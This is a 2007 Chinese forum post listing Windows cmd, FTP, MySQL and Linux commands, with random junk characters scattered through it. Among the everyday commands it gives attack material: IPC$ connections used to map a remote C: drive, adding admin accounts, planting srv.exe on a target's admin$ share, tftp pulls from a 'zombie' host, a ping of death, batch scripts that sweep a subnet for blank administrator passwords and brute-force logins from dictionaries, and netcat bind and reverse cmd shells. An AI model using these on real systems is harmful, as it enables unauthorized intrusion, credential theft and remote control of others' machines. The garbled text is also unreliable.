找回密码
 入住遨海湾
搜索
网站解决方案专享优惠-3折上云
查看: 1306|回复: 1

cmd命令大全

[复制链接]
发表于 2007-10-14 13:37:00 | 显示全部楼层 |阅读模式

登录后查才能浏览下载更多咨询,有问题联系QQ:3283999

您需要 登录 才可以下载或查看,没有账号?入住遨海湾

×
netstat -n 如果对应某个连接的状态为“Established”,就表明你的计算机和对方计算机之间的连接是成功的);& S0 n2 s$ L: y9 v ! v; T0 K" G2 k: S) h# ^9 ^telnet3 E0 p3 E+ w; x8 q" f net use \\ip\ipc$ " " /user:" " 建立IPC空链接 0 R7 V; |5 x$ Q net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接 4 G7 f4 {) v0 o o% u4 M net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H: 1 {4 ]$ X. O6 H6 ~ net use h: \\ip\c$ 登陆后映射对方C:到本地为H: ( k% r( c. D9 Lnet use \\ip\ipc$ /del 删除IPC链接 * x+ z( I8 `( r \; l! lnet use h: /del 删除映射对方到本地的为H:的映射 % S, C) m! h9 d7 s6 | net user 用户名 密码 /add 建立用户 $ s9 e* D7 \- H7 T) x net user guest /active:yes 激活guest用户 " G3 i: J# e- M4 L! t' R. V net user 查看有哪些用户 " j2 K3 m9 x3 b% _; Y' i5 V4 W2 d net user 帐户名 查看帐户的属性 & C/ H" q$ _3 N; w6 f$ Znet localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数 4 Y, r) o O6 O q net start 查看开启了哪些服务 ' D2 C% ]" h* A: `+ Gnet start 服务名  开启服务;(如:net start telnet, net start schedule) / z" c7 T2 ~$ x0 mnet stop 服务名 停止某服务 . a1 q* X6 P- c5 O9 k" d+ S net time \\目标ip 查看对方时间 , P( B1 ]5 T! m# Lnet time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息 7 V+ h4 S1 G$ w net view 查看本地局域网内开启了哪些共享 $ V' r6 D$ c' |' H- K net view \\ip 查看对方局域网内开启了哪些共享 ) c, o3 w. h$ r, x" \8 M6 h- c net config 显示系统网络设置 1 { W$ X; l- [3 N, G1 o' T( M9 g net logoff 断开连接的共享 * U' n6 b+ w0 o5 Z5 S7 q$ x# {net pause 服务名 暂停某服务 8 `% l$ b2 M, H' Q; a( c6 y& ]net send ip "文本信息" 向对方发信息 8 U! s* Z8 ^' X net ver 局域网内正在使用的网络连接类型和信息 % [( F$ o: G0 [# z" b5 Qnet share 查看本地开启的共享 4 N: N, h8 d, Z, K" I3 X net share ipc$ 开启ipc$共享 # o( S' C$ o0 n6 n$ M: U/ Q$ o$ U) f net share ipc$ /del 删除ipc$共享 : p% \( |& e3 @. s2 h unet share c$ /del 删除C:共享 ) t3 T7 D" u! A# anet user guest 12345 用guest用户登陆后用将密码改为12345 ' X: m, ~* Z5 l' m. i u& T) F+ T. @7 K1 Inet password 密码 更改系统登陆密码 6 _+ M' j3 p7 P8 |netstat -a 查看开启了哪些端口,常用netstat -an " t+ y4 ^; E; J- X netstat -n 查看端口的网络连接情况,常用netstat -an 9 G3 R9 E; V2 [: i6 [4 J0 s netstat -v 查看正在进行的工作 3 {/ u- K3 `' J; R netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况) ! [1 m5 ]3 ]# J( M# \ netstat -s 查看正在使用的所有协议使用情况 ' Y: K5 q: D* r8 Z8 v8 Q+ V/ u: Rnbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写 , O* ? Y9 V& k8 N5 Y tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。 K' R1 }+ Y/ C8 B% U8 Hping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。 / C, r, y2 I+ h* i2 V ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping) 6 Y3 @- v" g) p$ U+ d3 Z8 tipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息 3 i: m3 g; j7 Utlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内) " o5 @! j/ T$ _$ L* S9 F5 g* k4 N8 Dkill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内) 5 ^# @, G) l( G k5 s; k3 Odel -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件 * d" P/ B4 p0 c0 L+ Y4 _0 N#2 二:4 @; S* a* u% F- t! ? del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同) ' v2 o6 Y7 n9 H7 H7 y2 ymove 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖 ' O( N7 r5 G/ g0 M2 V1 j fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令 ! u, T4 d/ r) P4 Y2 z at id号 开启已注册的某个计划任务 , e# Y0 m9 Z, v+ h- ?" ]2 ^ at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止 8 m% t Y' `0 D5 b+ l+ U: b0 A4 M6 ~9 x at id号 /delete 停止某个已注册的计划任务 0 m% Z* P! F# z& B8 |5 s$ Y/ H Cat 查看所有的计划任务 * h1 x2 L$ i, Q* f at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机 : B9 q ]* D: d! J0 a( m( s* e finger username @host 查看最近有哪些用户登陆 ( V+ i$ _" R) c8 x" e; Q' ?, k telnet ip 端口 远和登陆服务器,默认端口为23 % J- y5 W8 Q2 B4 p( }: Qopen ip 连接到IP(属telnet登陆后的命令) / p' p2 b V# @. p. \5 \% B1 U telnet 在本机上直接键入telnet 将进入本机的telnet 4 I/ i$ o8 {# w! i( l5 y; i4 o7 Xcopy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件 8 [. n, \( D) G% _) [% [copy c:\srv.exe \\ip\admin$ 复制本地c:\srv.exe到对方的admin下 5 C$ a! T7 i6 d& Y* C5 hcppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件 ; ~% I2 Y+ x, w- g- V3 ycopy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C: # b; r0 l: E: o xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件 8 u7 u! J: f7 ` tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送 " h0 Y: E/ j6 z6 n; a, \( t tftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机 4 f4 N/ S+ {2 Q0 e! r0 G( V5 q ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时) - k% n; w- ]( O9 r, d route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface ) _* s+ l- \; i' ?6 N$ x& yarp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息 8 ]+ l& _' n9 Q' v! pstart 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令 : W% f* w% Z) K( umem 查看cpu使用情况 9 C( @+ N7 I( Tattrib 文件名(目录名) 查看某文件(目录)的属性 7 S) E0 Y! B7 O7 d7 e attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性 6 E1 A( m& V3 ]9 b; ^8 w# s9 jdir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间 1 e6 t, }, `+ \date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间 8 o% u0 Q: _7 |+ g% E- nset 指定环境变量名称=要指派给变量的字符 设置环境变量 + P2 B' o5 J* H6 `# ` set 显示当前所有的环境变量 # L& f9 T+ R4 vset p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量 : u$ R" O' C' i& X9 \' Y pause 暂停批处理程序,并显示出:请按任意键继续.... + E) @6 \6 M4 U# v9 f- Uif 在批处理程序中执行条件处理(更多说明见if命令及变量) ; q2 J' Y% C) Lgoto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签) : B2 I" t1 g) icall 路径\批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?) 0 s" `5 G J, n# z. f3 p for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量) 2 v! l& r& ?# ?/ h3 D% ?8 H: L echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置 . A; F) H2 k& J3 S) U+ [4 recho 信息 在屏幕上显示出信息 0 G$ d n4 x; Pecho 信息 >> pass.txt 将"信息"保存到pass.txt文件中 / g' G, t0 P8 [ S( Z7 }& a, Q findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello + `! C) h T6 c$ ]" P7 _3 M# jfind 文件名 查找某文件 ! v! ~; o1 j! h. ] v+ Q0 s8 ctitle 标题名字 更改CMD窗口标题名字 / A5 F/ J/ J, Y P3 Z; g% a color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白 + a. a/ n0 o b& a; e2 L6 W- S* r prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ )8 r) A$ _- d @, v #3 三: 1 H+ {( R8 Y2 |% s9 iver 在DOS窗口下显示版本信息 - Z3 C [7 t4 ?0 Y5 f; I+ uwinver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名) 3 s* V# @3 t% T. i# C/ M3 ]& ]9 Y5 Tformat 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS 3 R- F3 q$ C! g2 q: Y md 目录名 创建目录 % r9 q `1 b r& p6 V& F+ I/ V% [" Qreplace 源文件 要替换文件的目录 替换文件 $ a- y3 X, S/ x6 c9 s ren 原文件名 新文件名 重命名文件名 # k% x# j2 A: Wtree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称 : p! Y& G! B0 htype 文件名 显示文本文件的内容 3 r; X& o) P; d; p. _ ~. {" l% f$ J more 文件名 逐屏显示输出文件 . K" F: ]: F: O0 \6 sdoskey 要锁定的命令=字符 - s5 E! L* q0 I I1 Z9 A" Pdoskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir= 8 Z- p: e, S. ^6 |8 U0 ^6 P Ptaskmgr 调出任务管理器 ; U& k( C! D9 Tchkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误 2 k3 i" C- |" l4 x" Btlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口 2 X1 Z ?& `" A. a1 S# C) D exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe 1 y9 X5 `9 A8 Epath 路径\可执行文件的文件名 为可执行文件设置一个路径。 # d- e- X- N; }+ S) q: r/ U5 W. p) H3 Scmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /? - ?: z3 b7 V7 m- U) w; L, Aregedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示; " L* p: K; k; |1 \* K regedit /e 注册表文件名 导出注册表 ) j; x# B. I8 y! ~6 s cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。 : C! Q" @- N0 M6 U; Ocacls 文件名 查看文件的访问用户权限列表 2 n- z" v+ F) b! b5 E& Z7 _REM 文本内容 在批处理文件中添加注解 ) r5 \0 j/ z; s- j2 L0 y! W8 W netsh 查看或更改本地网络配置情况 * }; g! |: O) D' p6 f* X. m. E#4 四:- ~& a0 a* @, I# j, ]! `$ q+ L& K IIS服务命令: & a8 i# w2 H$ \' m) g- k& niisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现) / f3 K* X2 f# ~ T7 {+ m& miisreset /start或stop 启动(停止)所有Internet服务 - U- |$ [8 U l& i4 V iisreset /restart 停止然后重新启动所有Internet服务 ) c7 U5 v) a- b+ ?6 u# r- j iisreset /status 显示所有Internet服务状态 3 P3 r) Y! Z$ L" e3 _) m# g5 X wiisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动 # x- N' s) P! j& B8 T, ] iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机 * C3 u) C* H" ^" [2 k2 i iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务 ( A* A3 I5 J6 K8 qiisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。 " W6 P% ~' m6 ZFTP 命令: (后面有详细说明内容) ' f6 E% M0 f2 i" n$ W ftp的命令行格式为: ! b% u' x1 Z6 mftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。 3 C6 c1 C$ ~: c-d 使用调试方式。 % w; Z( t4 `4 Z; w+ t5 n-n 限制ftp的自动登录,即不使用.netrc文件。 0 t% \/ r" x$ y0 A. S( Y( x1 z-g 取消全局文件名。 # {+ P! [6 M/ H# s+ B: Khelp [命令] 或 ?[命令] 查看命令说明 * _: L% X& Z, cbye 或 quit 终止主机FTP进程,并退出FTP管理方式. 1 H0 N6 V# a7 Rpwd 列出当前远端主机目录 m/ o8 Z* p7 V4 _5 U- \put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中 5 g( ]! M8 q( E: i get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中 ' i% V4 |/ Q0 ~1 i. Imget [remote-files] 从远端主机接收一批文件至本地主机 * ?6 y7 F5 a0 E6 Smput local-files 将本地主机中一批文件传送至远端主机 + l% P! M ~: D/ f! Y9 ]- S( fdir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件 / {- K o( W; k* Z. E( u* p ascii 设定以ASCII方式传送文件(缺省值) , T' A8 V1 m; N# ^' o" vbin 或 image 设定以二进制方式传送文件 ) T+ u4 G! {, B; N2 z- Q bell 每完成一次文件传送,报警提示 X6 R2 U0 k( G/ P5 ~cdup 返回上一级目录 8 P7 z& B1 R0 [: l7 z% u7 @- K( o7 S5 pclose 中断与远程服务器的ftp会话(与open对应) ( E: n9 @3 L& A/ @ {+ x) B open host[port] 建立指定ftp服务器连接,可指定连接端口 ' D% ^5 R* Z' \8 `/ j) z delete 删除远端主机中的文件 . G8 M: e7 j& _8 O0 j mdelete [remote-files] 删除一批文件 2 p7 g7 [" K' u% T8 l! Emkdir directory-name 在远端主机中建立目录 " G3 f+ ~" i# r! O0 {7 ]+ p rename [from] [to] 改变远端主机中的文件名 ( r$ K' @6 p8 R1 ~rmdir directory-name 删除远端主机中的目录 ! s3 t9 x- c. H7 T5 d. N& }1 U; zstatus 显示当前FTP的状态 * L* }* H( j$ F' Y9 f system 显示远端主机系统类型 : z0 y4 S/ ~: @3 J& _user user-name [password] [account] 重新以别的用户名登录远端主机 1 |# H% B h; `1 T9 o open host [port] 重新建立一个新的连接 . K. Q* V+ G% _2 a prompt 交互提示模式 / S# y; q L+ {/ d macdef 定义宏命令 : C4 r, V+ \2 f* O/ T) I& ] lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录 q: r$ r J$ @! i8 g; c5 } chmod 改变远端主机的文件权限 " H& x: X5 e- L: c case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母 # ^9 K/ t3 x( Jcd remote-dir 进入远程主机目录 ; `1 u e+ p! P l& {cdup 进入远程主机目录的父目录 1 M1 P& w+ O1 x% P3 v1 {' | ! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip! ^( E7 m n* H3 ^ #5 五: 1 l3 E) ^4 M: ~' }0 C: @2 W& MMYSQL 命令: , l( Q, N* K: W, h3 G, e8 l mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。 : g+ y# \" }! @0 i0 f, B$ Y(例:mysql -h110.110.110.110 -Uroot -P123456 $ ?" t9 p/ \/ O1 y! a: I) h注:u与root可以不用加空格,其它也一样) : c% Z7 k* ?# N- F) p+ \ t+ nexit 退出MYSQL , o/ E2 c5 G: m4 h/ nmysqladmin -u用户名 -p旧密码 password 新密码 修改密码 0 m9 h# ?6 i3 a; E$ Y u" xgrant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符) ( Y- P5 A6 H- Z8 ~- K( e5 Fshow databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。 7 ?5 U9 J: [7 u; p5 F+ O# r3 A. fuse mysql; 8 j( I+ B2 V$ G6 X9 U7 n. `/ jshow tables; 显示库中的数据表 0 F& }1 N0 k$ T! @describe 表名; 显示数据表的结构 ! Z# r: ~, f5 b3 Dcreate database 库名; 建库 ) o* u$ I* a1 u: r o use 库名;& ~8 |: X3 Z- i) c create table 表名 (字段设定列表); 建表 ; ]0 `- P& V4 }4 J8 H+ d4 w u6 f drop database 库名; 5 E* k# }6 q) h2 s drop table 表名; 删库和删表 & { ~5 _- u2 p% ^delete from 表名; 将表中记录清空 9 O, l0 k3 }5 K+ ?+ c select * from 表名; 显示表中的记录 ; m U, j8 z' {% w0 C. q8 V mysqldump --opt school>school.bbb 备份数据库:(命令在DOS的\\mysql\\bin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。 % j) E: l& f3 e9 T3 d, [win2003系统下新增命令(实用部份): 3 J: A4 N. |' b0 ?$ S/ Xshutdown /参数 关闭或重启本地或远程主机。% h6 k1 E" m- N 参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。 1 d# I1 K: E! z4 \& x例:shutdown /r /t 0 立即重启本地主机(无延时) & T9 B# C6 H- ~) |* t taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。- e+ q& y7 I* c( @9 V 参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。 8 R4 V4 j7 s: u- J+ s' e tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。+ f' h6 K+ z5 a% [ 参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。 8 \* @: a) R# A$ k0 @8 p$ W#6 六: : C+ C$ c+ J- q0 z0 g5 tLinux系统下基本命令: 要区分大小写 7 `- i z: d- Guname 显示版本信息(同win2K的 ver) 1 o! _- r# S/ E7 s+ i( ?4 K dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir) ) P5 a* F; x& ]3 z- o* ^pwd 查询当前所在的目录位置 9 Q! T& L, Z0 i6 x$ icd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。 - x& a: L9 t+ @9 z cat 文件名 查看文件内容 ' r4 r) d& d3 I0 U: j cat >abc.txt 往abc.txt文件中写上内容。 % L9 {( s2 H4 `1 {6 Smore 文件名 以一页一页的方式显示一个文本文件。 9 U- c6 H D& B3 y; v# {; c" q( L" fcp 复制文件 : o4 K* d6 d; `& x* x mv 移动文件 - n7 g5 f6 C4 s) G( e* j) A4 ]9 drm 文件名 删除文件,rm -a 目录名删除目录及子目录 * F3 z! U. r8 H, z) I0 n+ A1 A3 qmkdir 目录名 建立目录 6 E4 k3 O8 D' R' Urmdir 删除子目录,目录内没有文档。 - l; B8 G a2 p+ [4 S! `: rchmod 设定档案或目录的存取权限 " t/ z9 t8 A2 T. ugrep 在档案中查找字符串 $ g& A ~, U4 U* i0 L, ldiff 档案文件比较 6 K# z" j; \. @& [$ [9 M& rfind 档案搜寻 ( W# w! Y {4 Z$ N0 [) Sdate 现在的日期、时间 ) T* |% H7 K- n) [. }& A who 查询目前和你使用同一台机器的人以及Login时间地点 4 |4 Q, N6 @3 ^. r. E# |" Cw 查询目前上机者的详细资料 , K+ M+ @* h* }0 a! Fwhoami 查看自己的帐号名称 ) ^7 O) ]9 j4 O groups 查看某人的Group 5 C. J# C0 a3 G. W( n) K y. z7 }passwd 更改密码 * v9 h; t, l3 ~% }; \1 O' f% phistory 查看自己下过的命令 2 `: [; m) G2 b. U ps 显示进程状态 - i: `9 ^4 K7 n7 e* @# E5 A. b kill 停止某进程 6 ?0 |! Z% v+ j" q gcc 黑客通常用它来编译C语言写的文件 8 j6 G% l/ ]% i/ V% S0 ?; G su 权限转换为指定使用者 % U5 j' I, L1 W+ g# Y1 i# Jtelnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。 9 S9 w" G' @9 m: k ftp ftp连接上某服务器(同win2K) % {5 X6 p+ ?5 ]4 j. J/ B 附:批处理命令与变量 X# t4 C, ]# E/ P( j2 c/ r4 \6 k1:for命令及变量 基本格式: * z) c4 D1 v, ]- C1 eFOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。* B6 E6 K6 D3 y! s 批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use \\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%31 I4 k. S. i$ ^9 m. ` (set):指定一个或一组文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1 } 4 V2 p! f* C" D! y* j0 xcommand:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开' l# S0 t; d$ y6 { command_parameters:为特定命令指定参数或命令行开关 7 L( n+ {# G5 c+ }) UIN (set):指在(set)中取值;DO command :指执行command, D' V% C l! {, \ 参数:/L 指用增量形式{ (set)为增量形式时 };/F 指从文件中不断取值,直到取完为止{ (set)为文件时,如(d:\pass.txt)时 }。 1 [5 e* v( L, U4 _8 C( N" b8 [% s: ~* }用法举例: 2 V d# H7 \7 t5 z: L @echo off & j5 G7 X3 B* y% d, G# ` echo 用法格式:test.bat *.*.* > test.txt o2 i2 I2 ], N, M8 c L+ ^( \* Efor /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt : [8 i' r; q& b: {1 j 存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。 _; Q( U2 o$ [2 I/L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。 2 j4 X0 ^: D) R, W. u. b" M( i# q; j @echo off - u. _ ^/ ~; g7 V- l) E ^5 f echo 用法格式:ok.bat ip 5 X% Y4 h8 G6 r2 [ FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200 O c, ^& a# X" K1 X 存为:ok.exe 说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。 & G: @& [ H" |5 P3 z. X#7 七: |# U- F* A. Z. N1 p4 ^6 ` 2:if命令及变量 基本格式: ! T t# G) u/ P/ c IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。4 Y, _5 H7 g" I 例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。 {( p, x7 C- Q) O$ Q0 指发现并成功执行(真);1 指没有发现、没执行(假)。 " i9 t4 c$ ~2 g! E' K' ?4 t! S1 AIF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。8 E5 h' d5 K4 l' y 例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ") 0 }+ L+ @, I! c" P6 ?: w. v& G8 _' KIF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。 ( C( S9 I7 z% F) C- o例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到":end"标签处。 0 R5 w/ y2 `3 Z. O IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来,因为del命令要单独一行时才能执行,用上< >后就等于是单独一行了;例如:“if exist test.txt. else echo test.txt.missing ”,注意命令中的“.” * U8 c2 s$ \+ H. O6 y1 u4 v" ^& I (二)系统外部命令(均需下载相关工具):; S5 }( ~" b5 P, w 1、瑞士军刀:nc.exe2 v- F; l3 D1 [+ C 参数说明: 0 n" D# ?! @8 d" h-h 查看帮助信息 3 [, `7 N& R: ]( W/ ~* {. B4 L* T6 P-d 后台模式 9 i1 B( U$ a1 u -e prog程序重定向,一但连接就执行[危险] 0 B* X3 `! j( q6 B-i secs延时的间隔 6 t9 H1 R+ I2 _9 L; a+ Q2 n-l 监听模式,用于入站连接 # H+ t/ I& [( ?' z" [& f# t -L 监听模式,连接天闭后仍然继续监听,直到CTR+C & @+ q4 y9 ^3 u& H( q% d -n IP地址,不能用域名 6 p, |: ?9 Y; p& W' ^ -o film记录16进制的传输 ( H4 Z( [8 G) a6 B' h5 K -p[空格]端口 本地端口号 & L l% b/ D6 m( ~ -r 随机本地及远程端口 ; C4 T$ p( m4 |1 \6 m) B -t 使用Telnet交互方式 4 T! f9 m% n/ U/ d-u UDP模式 . E4 d* F1 h7 [ ?$ ]2 i -v 详细输出,用-vv将更详细 1 D& _7 x2 P' Z4 G2 f -w数字 timeout延时间隔 & u5 ^1 Q1 j) {& I3 m-z 将输入,输出关掉(用于扫锚时) % G# L$ `7 w/ f% r 基本用法: + d H9 U( o( Y nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口 ; T$ O& D$ Z1 M7 M/ o f; x" Lnc -l -p 80 开启本机的TCP 80端口并监听 # {- v5 F! k5 i, \( p5 y4 J nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口 - s$ A: x$ |- D( C+ o' vnc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口 5 o, n2 ]: [9 a! c5 o8 d# F$ A nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口 & u m: n5 q+ L: d 高级用法: " y) F5 e6 F m0 z) F+ ?nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止 0 I& p4 N2 x: L' x; L" ] X: N1 w2 anc -L -p 80 > c:\log.txt 作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:\log.txt e9 B3 \* l/ [$ q' G+ I0 K* lnc -L -p 80 < c:\honeyport.txt 作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用 + `9 o, d/ U7 L" F/ L6 S type.exe c:\honeyport | nc -L -p 80 作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用 7 q& 